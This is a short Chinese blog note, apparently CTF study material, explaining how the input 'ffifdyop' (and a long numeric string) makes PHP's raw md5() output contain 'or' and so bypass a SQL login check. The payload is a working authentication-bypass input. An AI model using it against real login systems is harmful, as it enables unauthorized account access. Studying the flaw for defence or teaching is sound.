md5(string,true)绕过

最新推荐文章于 2023-12-25 14:29:41 发布

Ryuuz4k1

最新推荐文章于 2023-12-25 14:29:41 发布

阅读量228

点赞数 2

分类专栏：笔记文章标签： sql php

本文链接：https://blog.csdn.net/weixin_53498616/article/details/115014636

版权

笔记专栏收录该内容

14 篇文章 1 订阅

订阅专栏

在这里插入图片描述

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
原sql查询语句则变为select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'
即可绕过
类似的字符串还有:
md5(129581926211651571912466741651878684928,true)=\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8

优惠劵

Ryuuz4k1

关注关注

2
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
md5(string,true)绕过

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c原sql查询语句则变为select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'即可绕过.
复制链接

扫一扫